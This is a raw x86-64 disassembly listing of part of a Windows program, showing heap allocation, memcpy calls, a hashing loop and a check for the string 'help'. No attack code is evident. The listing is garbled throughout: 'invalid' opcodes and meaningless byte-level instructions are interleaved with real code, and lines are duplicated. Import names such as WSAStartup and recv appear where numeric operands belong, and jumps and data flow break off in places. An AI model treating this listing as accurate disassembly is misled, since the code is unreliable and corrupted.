mov rsi, qword [rsp + 0x348]
test rsi, rsi
je 0x140033b73
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033b51
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140033b64
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140033b79
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
mov r14d, 1
mov rcx, r14
mov rdx, r13
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx], r14
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
lea rax, [rsp + 0x368]
mov qword [rsp + 0x180], rax
lea rax, [0x140005df0]
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x338]
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], rax
lea rax, [0x14016aba0]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x180]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0xd0]
call fcn.140014120
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x140033c39
mov r13, r15
jmp 0x140033c55
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358e8
mov rcx, rax
mov r13, r15
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400358e8
mov rsi, rax
mov byte [rax + 0x19], 3
mov qword [rax + 0x20], 0
mov qword [rax + 0x40], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 0x48], xmm0
mov byte [rax + 0x58], 2
mov byte [rax + 0x5b], 0
mov r15, qword [rdi + 0x250]
mov r14, qword [rdi + 0x258]
mov eax, r14d
shr al, 6
and al, 1
test r15b, 0x40
movzx eax, al
mov ecx, 1
cmove ecx, eax
mov byte [rsi + 0x5a], cl
mov rcx, qword [rdi + 0x250]
mov rdx, qword [rdi + 0x258]
call fcn.14001a230
mov byte [rsi + 0x59], al
or r14, r15
bt r14, 0x29
jb 0x140033cfa
lea rcx, [0x14016aff6]
mov eax, 6
mov rdi, qword [rsp + 0x228]
mov r15, qword [rsp + 0x40]
jmp 0x14003435e
mov eax, 4
cmp qword [rdi + 0xe0], 0
mov rdi, qword [rsp + 0x228]
mov r15, qword [rsp + 0x40]
je 0x14003435c
xor ecx, ecx
test r14d, 0x8000000
lea rdx, [0x14016a144]
cmove rcx, rdx
jmp 0x14003435e
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x2f0], r13
mov qword [rsp + 0x2f8], 0
lea r8, [0x140204680]
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0x2f0]
xor r9d, r9d
call fcn.14001a950
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033da6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358d7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400358d7
mov rbx, rax
test rdi, rdi
mov qword [rsp + 0x40], r15
je 0x140033e14
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033df2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140033e05
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140033e1a
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
ud2
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx], r15
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033e5f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358e8
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400358e8
mov r15, rax
mov byte [rax + 0x19], 3
mov qword [rax + 0x20], 0
mov qword [rax + 0x40], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 0x48], xmm0
mov byte [rax + 0x58], 1
mov byte [rax + 0x5b], 0
mov r12, qword [r13 + 0x250]
mov rbp, qword [r13 + 0x258]
mov eax, ebp
shr al, 6
and al, 1
test r12b, 0x40
movzx eax, al
mov ecx, 1
cmove ecx, eax
mov byte [r15 + 0x5a], cl
mov rcx, qword [r13 + 0x250]
mov rdx, qword [r13 + 0x258]
call fcn.14001a230
mov byte [r15 + 0x59], al
or rbp, r12
bt rbp, 0x29
jb 0x140033ef8
lea rcx, [0x14016aff6]
mov eax, 6
jmp 0x14003470a
mov eax, 4
cmp qword [r13 + 0xe0], 0
je 0x140034708
xor ecx, ecx
test ebp, 0x8000000
lea rdx, [0x14016a144]
cmove rcx, rdx
jmp 0x14003470a
mov rdx, qword [rsp + 0x80]
test rdx, rdx
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x200]
mov r8, qword [rsp + 0xc8]
call fcn.140013eb0
mov rsi, qword [rsp + 0x200]
mov r13, qword [rsp + 0x208]
test rsi, rsi
mov r14, rsi
cmove r14, r13
mov rbx, qword [rsp + 0x210]
test rbx, rbx
je 0x140034956
js 0x140035821
mov r12, r15
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033fac
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140034be4
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x14003495f
jmp 0x140034be4
movabs rdi, 0x1c9d3adb639f298e
cmp byte [rsp + 0x140], 4
jne 0x14003411c
jmp 0x140034181
lea rdx, [rsp + 0x1a1]
mov ecx, dword [rdx]
mov edx, dword [rdx + 3]
mov r8, qword [rsp + 0xa0]
mov dword [r8 + 0x24], edx
mov dword [r8 + 0x21], ecx
movdqa xmm0, xmmword [rsp + 0x240]
movdqa xmm1, xmmword [rsp + 0x250]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
mov byte [r8 + 0x20], al
lea rcx, [rsp + 0xd0]
call fcn.140035bb0
cmp qword [rsp + 0x40], 0
je 0x140034a4e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034a4e
and r8, 0xfffffffffffffff8
mov r9d, 0x811c9dc5
mov rdx, r15
nop word cs:[rax + rax]
movzx r10d, byte [rdx]
xor r10, r9
imul r10, rax
movzx r9d, byte [rdx + 1]
xor r9, r10
imul r9, rax
movzx r10d, byte [rdx + 2]
xor r10, r9
imul r10, rax
movzx r9d, byte [rdx + 3]
xor r9, r10
imul r9, rax
movzx r10d, byte [rdx + 4]
xor r10, r9
imul r10, rax
movzx r9d, byte [rdx + 5]
xor r9, r10
imul r9, rax
movzx r10d, byte [rdx + 6]
xor r10, r9
imul r10, rax
movzx r9d, byte [rdx + 7]
add rdx, 8
xor r9, r10
imul r9, rax
add r8, 0xfffffffffffffff8
jne 0x140034070
mov rdi, r9
test rcx, rcx
je 0x140034107
xor r8d, r8d
nop word cs:[rax + rax]
movzx edi, byte [rdx + r8]
xor rdi, r9
imul rdi, rax
inc r8
mov r9, rdi
cmp rcx, r8
jne 0x1400340f0
xor rdi, 0xff
imul rdi, rax
cmp byte [rsp + 0x140], 4
je 0x140034181
mov rsi, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x130]
test rbx, rbx
je 0x140034164
lea r14, [rsi + 8]
jmp 0x140034149
add r14, 0x20
dec rbx
je 0x140034164
cmp qword [r14], 0
je 0x140034140
mov r8, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034140
cmp qword [rsp + 0x128], 0
je 0x140034181
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400341ad
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140035919
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140035919
mov rsi, rax
mov qword [rax], r15
mov rax, qword [rsp + 0x40]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
movdqu xmm2, xmmword [rsp + 0xf0]
movdqu xmm3, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x18], xmm0
movdqu xmmword [rsi + 0x28], xmm1
movdqu xmmword [rsi + 0x38], xmm2
movdqu xmmword [rsi + 0x48], xmm3
movdqu xmm0, xmmword [rsp + 0x110]
movdqu xmmword [rsi + 0x58], xmm0
mov qword [rsi + 0x68], rdi
mov rdi, qword [rsp + 0x60]
lea rcx, [rdi + 0x48]
call fcn.140037460
mov qword [rdi + 0x48], rsi
lea rcx, [rsp + 0x180]
mov rsi, qword [rsp + 0x48]
mov rdx, rsi
mov r8, rdi
call fcn.140038e70
movzx eax, byte [rsp + 0x1a0]
cmp al, 0x16
jne 0x140034318
lea rcx, [rsp + 0x180]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.14003c8f0
movzx eax, byte [rsp + 0x1a0]
cmp al, 0x16
jne 0x140034318
mov rsi, qword [rsi + 0x10]
lea rcx, [rsp + 0x188]
mov rdx, rsi
call fcn.14001fd70
mov qword [rsp + 0x180], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x78]
mov r9, qword [rsp + 0x70]
call fcn.14003d770
mov rsi, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x198]
test rdi, rdi
je 0x140034678
lea rbx, [rsi + 8]
jmp 0x1400342fd
add rbx, 0x20
dec rdi
je 0x140034678
cmp qword [rbx], 0
je 0x1400342f0
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400342f0
movdqu xmm0, xmmword [rsp + 0x180]
movdqu xmm1, xmmword [rsp + 0x190]
mov r8, qword [rsp + 0xa0]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
mov ecx, dword [rsp + 0x1a1]
mov edx, dword [rsp + 0x1a4]
mov dword [r8 + 0x21], ecx
mov dword [r8 + 0x24], edx
mov byte [r8 + 0x20], al
jmp 0x140034a4e
xor ecx, ecx
mov qword [rsi + 0x30], rcx
mov qword [rsi + 0x38], rax
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 1
mov qword [rsp + 0x198], 1
mov byte [rsp + 0x1a0], 2
movups xmm0, xmmword [rsp + 0x338]
movups xmmword [rsp + 0xd7], xmm0
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0xe7], rax
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x2f0], xmm0
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0x2ff], rax
mov rax, qword [rsp + 0xe7]
mov qword [rsp + 0x307], rax
movups xmm0, xmmword [rsp + 0x440]
movups xmmword [rsp + 0xd7], xmm0
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0xe7], rax
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x290], xmm0
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0x29f], rax
mov rax, qword [rsp + 0xe7]
mov qword [rsp + 0x2a7], rax
movups xmm0, xmmword [rsp + 0x3a0]
movups xmmword [rsp + 0xd7], xmm0
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0xe7], rax
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x200], xmm0
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0x20f], rax
mov rax, qword [rsp + 0xe7]
mov qword [rsp + 0x217], rax
movups xmm0, xmmword [rsp + 0x458]
movups xmmword [rsp + 0xd7], xmm0
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0xe7], rax
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0x24f], rax
mov rax, qword [rsp + 0xe7]
mov qword [rsp + 0x257], rax
mov byte [rsp + 0xd0], 0
mov byte [rsp + 0xd8], 2
movups xmm0, xmmword [rsp + 0x2ff]
movups xmmword [rsp + 0xe8], xmm0
movaps xmm0, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0xd9], xmm0
mov byte [rsp + 0xf8], recv
mov byte [rsp + 0x100], 2
movups xmm0, xmmword [rsp + 0x29f]
movups xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [rsp + 0x290]
movups xmmword [rsp + 0x101], xmm0
mov byte [rsp + 0x120], 0xa
mov byte [rsp + 0x128], 2
movups xmm0, xmmword [rsp + 0x20f]
movups xmmword [rsp + 0x138], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [rsp + 0x129], xmm0
mov byte [rsp + 0x148], recv
mov byte [rsp + 0x150], 2
movups xmm0, xmmword [rsp + 0x24f]
movups xmmword [rsp + 0x160], xmm0
movapd xmm0, xmmword [rsp + 0x240]
movupd xmmword [rsp + 0x151], xmm0
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x180]
lea r8, [rsp + 0xd0]
call fcn.14003c860
cmp qword [rsp + 0x370], 0
je 0x1400345d7
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x1400345f9
cmp qword [rsp + 0xc0], 0
je 0x1400345f9
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, r15
add rsi, 8
mov rbx, r12
jmp 0x140034619
add rsi, 0x18
dec rbx
je 0x140034634
cmp qword [rsi], 0
je 0x140034610
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034610
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rsi, [rbp + 8]
jmp 0x14003465d
add rsi, 0x18
dec r12
je 0x1400348e4
cmp qword [rsi], 0
je 0x140034650
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034650
cmp qword [rsp + 0x190], 0
jne 0x140034c98
jmp 0x140034a4e
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x60]
call fcn.140038e70
cmp byte [rsp + 0xf0], 0x16
je 0x140034b69
mov rcx, qword [rsp + 0xd0]
call fcn.140035cc0
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe8]
test rdi, rdi
je 0x140034b4c
lea rbx, [rsi + 8]
jmp 0x1400346ed
add rbx, 0x18
dec rdi
je 0x140034b4c
cmp qword [rbx], 0
je 0x1400346e0
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400346e0
xor ecx, ecx
mov qword [r15 + 0x30], rcx
mov qword [r15 + 0x38], rax
mov qword [rsp + 0x180], r15
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 1
mov qword [rsp + 0x198], 1
mov byte [rsp + 0x1a0], 1
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [rsp + 0xd7], xmm0
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0xe7], rax
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0x24f], rax
mov rax, qword [rsp + 0xe7]
mov qword [rsp + 0x257], rax
mov byte [rsp + 0xd0], 1
mov byte [rsp + 0xd8], 2
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xf8], recv
mov word [rsp + 0x100], 0x101
mov byte [rsp + 0x120], recv
mov byte [rsp + 0x128], 2
mov rax, qword [rsp + 0x24f]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x257]
mov qword [rsp + 0x140], rax
movapd xmm0, xmmword [rsp + 0x240]
movupd xmmword [rsp + 0x129], xmm0
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x180]
lea r8, [rsp + 0xd0]
call fcn.14001a250
test rsi, rsi
je 0x140034a1f
cmp qword [rsp + 0x40], 0
jne 0x140034a0d
jmp 0x140034a1f
mov r12, r15
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x200], r15
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0
lea r8, [0x140204680]
lea rbx, [rsp + 0xd0]
lea rdx, [rsp + 0x290]
mov rcx, rbx
xor r9d, r9d
call fcn.14001a950
lea rcx, [rsp + 0x240]
lea r8, [rsp + 0x200]
mov rdx, rdi
mov r9, rbx
call fcn.14003c540
test rsi, rsi
je 0x1400348e1
test r13, r13
je 0x1400348e1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, r12
test rdi, rdi
je 0x140034a1f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbp
jmp 0x140034a19
cmp qword [rsp + 0xe0], 0
je 0x140034a7b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
jmp case.0x14002d090.248
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
mov r8, qword [rsp + 0xa0]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
lea rdx, [rsp + 0x100]
mov ecx, dword [rdx - 0xf]
mov edx, dword [rdx - 0xc]
jmp 0x14003434b
mov r12, r15
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x290], r15
mov qword [rsp + 0x298], rbx
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0x2f0], rdi
mov qword [rsp + 0x2f8], 0
lea r8, [0x140204680]
lea rdx, [rsp + 0x2f0]
lea rbx, [rsp + 0x180]
mov rcx, rbx
xor r9d, r9d
call fcn.14001a950
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x240]
lea r8, [rsp + 0x290]
lea r9, [rsp + 0xd0]
mov rdx, rdi
call fcn.14003b360
test r12, r12
je 0x140034a03
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rsi, rsi
je 0x140034a1f
test r13, r13
je 0x140034a1f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0xa0]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [rsp + 0x240]
outsd dx, dword [rsi]
test byte [rax + rax*2], ah
add al, byte [rax]
add bl, dh
movq mm1, qword [rsp + 0x250]
push rax
add al, byte [rax]
invalid
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
cmp qword [rsp + 0x80], 0
je 0x140034a7b
cmp qword [rsp + 0xb0], 0
je 0x140034a7b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x490]
movaps xmm7, xmmword [rsp + 0x4a0]
movaps xmm8, xmmword [rsp + 0x4b0]
movaps xmm9, xmmword [rsp + 0x4c0]
movaps xmm10, xmmword [rsp + 0x4d0]
movaps xmm11, xmmword [rsp + 0x4e0]
add rsp, 0x4f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdi, rax
mov r13, rdx
test rdx, rdx
je 0x140034caf
cmp r13, 4
jne 0x140034cb7
cmp dword [rdi], 0x706c6568
jne 0x140034cc0
mov rax, qword [r12 + 0x250]
test eax, 0x100
jne 0x140034cc0
mov rcx, qword [r12 + 0x258]
test ecx, 0x100
jne 0x140034cc0
invalid
mov cl, 1
add byte [rax], al
or ecx, eax
test ecx, 0x8000000
jne 0x140034cc0
mov rcx, qword [rbx]
mov rdx, qword [rbx + 0x10]
lea r8, [rsp + 0x560]
call fcn.140058230
mov r9, rdx
mov rcx, qword [rsp + 0xa0]
mov rdx, r12
loop 0x140034b89
mov eax, eax
call fcn.140037840
jmp 0x140034a4e
cmp qword [rsp + 0xe0], 0
je 0x140034b69
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
mov rax, qword [rsp + 0x48]
mov rdi, qword [rax + 0x10]
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x240]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add al, ch
adc eax, 0x48fffdf3
std
dec dword [rax - 0x75]
mov ah, 0x24
add al, byte [rax]
invalid
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add al, ch
adc eax, 0x48fffdf3
std
dec dword [rax - 0x75]
mov ah, 0x24
add al, byte [rax]
invalid
std
dec dword [rax - 0x75]
mov ah, 0x24
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x48
add al, byte [rax]
add byte [rax - 0x7b], cl
test byte [rcx - 0x77], 0xf6
mov r12, qword [rsp + 0x248]
test rsi, rsi
mov r14, rsi
cmove r14, r12
mov rbx, qword [rsp + 0x250]
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
je 0x140034bf3
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rbx
call fcn.140013830
mov r15, rax
test rax, rax
jne 0x140034bf9
mov ecx, 1
mov rdx, rbx
call fcn.14015d7f0
mov edx, dword [rdx]
add byte [rdi], cl
invalid
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x200], r15
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0
lea r8, [0x140204680]
lea rdx, [rsp + 0x290]
lea rbx, [rsp + 0x180]
mov rcx, rbx
xor r9d, r9d
call fcn.14001a950
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x20], ebx
lea r8, [rsp + 0x200]
lea r9, [rsp + 0xd0]
mov rcx, qword [rsp + 0xa0]
mov rdx, rdi
call fcn.14003b360
test rsi, rsi
je 0x140034a4e
test r12, r12
je 0x140034a4e
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x13337e
adc eax, 0x13337e
jmp 0x140034a4e
mov r12d, 1
jmp 0x140034ce0
test r13, r13
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, r13
call fcn.140013830
mov r12, rax
test rax, rax
je 0x140035a24
mov rcx, r12
mov rdx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
mov r15, r13
cmp qword [rsp + 0x80], 0
je 0x140034d20
cmp qword [rsp + 0xb0], 0
and al, 0xb0
add byte [rax], al
add byte [rax], al
je 0x140034d20
mov rcx, qword [0x140215360]
xor edx, edx
invalid
mov r8, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je case.0x14002a035.107
mov dword [rsp + 0xa8], edi
mov qword [rsp + 0xc0], r15
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x40], rax
mov rax, qword [rax + 0xe0]
test rax, rax
je 0x140035a0a
mov rcx, qword [rsp + 0x40]
mov rdi, qword [rcx + 0xd0]
imul rsi, rax, 0x298
add rsi, rdi
jmp 0x140034d79
add rdi, 0x298
add byte [rax], al
cmp rdi, rsi
je 0x140035a0a
mov rax, qword [rdi + 0x50]
mov rbx, rax
cmp rax, r13
jne 0x140034da2
mov r14, r13
mov r15, qword [rdi + 0x40]
mov rcx, r12
mov rdx, r15
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140035049
mov rax, qword [rdi + 0x68]
test rax, rax
je 0x140034d69
mov r14, qword [rdi + 0x58]
shl rax, 3
lea r15, [rax + rax*2]
xor ebp, ebp
jmp 0x140034dc9
add rbp, 0x18
cmp r15, rbp
je 0x140034d69
cmp qword [r14 + rbp + 8], r13
jne 0x140034dc0
mov r8, r13
mov rdx, qword [r14 + rbp]
adc al, 0x2e
adc al, 0x2e
mov rcx, r12
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140034dc0
mov r15, qword [rdi + 0x40]
mov rsi, rbx
test rsi, rsi
je 0x140035055
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
call fcn.140013830
mov rdi, rax
test rax, rax
jne 0x14003505a
jmp 0x140033b64
mov bl, 1
xor r12d, r12d
mov rdi, qword [rsp + 0x70]
jmp 0x14003304d
xor edi, edi
mov rsi, qword [rsp + 0x48]
jmp 0x140034cf3
add byte [rax], al
mov rdx, rax
call fcn.140039810
mov rsi, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rcx, qword [rsp + 0xa0]
mov rdx, rdi
mov r8, r12
mov r9, r13
call fcn.140039920
cmp qword [rsp + 0xd8], 0
je 0x140034ee2
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
test r15, r15
je 0x140034a4e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034a4e
mov qword [rsp + 0x3e0], r12
mov qword [rsp + 0x3e8], r15
mov qword [rsp + 0x3f0], r13
lea r15, [rsp + 0xd0]
mov rcx, r15
mov r14, qword [rsp + 0x48]
mov rdx, r14
mov r8, qword [rsp + 0x60]
call fcn.140038e70
mov rcx, r15
call fcn.140039010
mov r14, qword [r14 + 0x10]
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x188], 0
lea rdx, [rsp + 0x180]
and al, 0x80
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
and al, 0x80
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
mov r8, rdi
mov r9, rbx
call fcn.14001acd0
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x3e0]
lea r9, [rsp + 0x380]
mov rcx, qword [rsp + 0xa0]
movabs al, byte [0x1ee8f2894c000000]
add byte [r8], al
movabs al, byte [0x1ee8f2894c000000]
add byte [r8], al
test rsi, rsi
je 0x140034a4e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140034a4e
mov rcx, qword [rsp + 0xa0]
mov rdx, rsi
mov r9, rdi
call fcn.1400394f0
jmp 0x140034a4e
mov rsi, r14
test rsi, rsi
jne 0x140034df3
mov edi, 1
mov rcx, rdi
mov rdx, r15
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x40]
mov r14, qword [rcx + 0x250]
or r14, qword [rcx + 0x258]
mov rdx, rdi
mov r8, rsi
call fcn.140044130
test rax, rax
je 0x1400354ae
mov rbx, rax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x70], 0
jne 0x1400350bc
call fcn.140077390
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], 0
movdqu xmmword [rsp + 0xf8], xmm0
lea rax, [0x1401dea30]
mov qword [rsp + 0xd0], rax
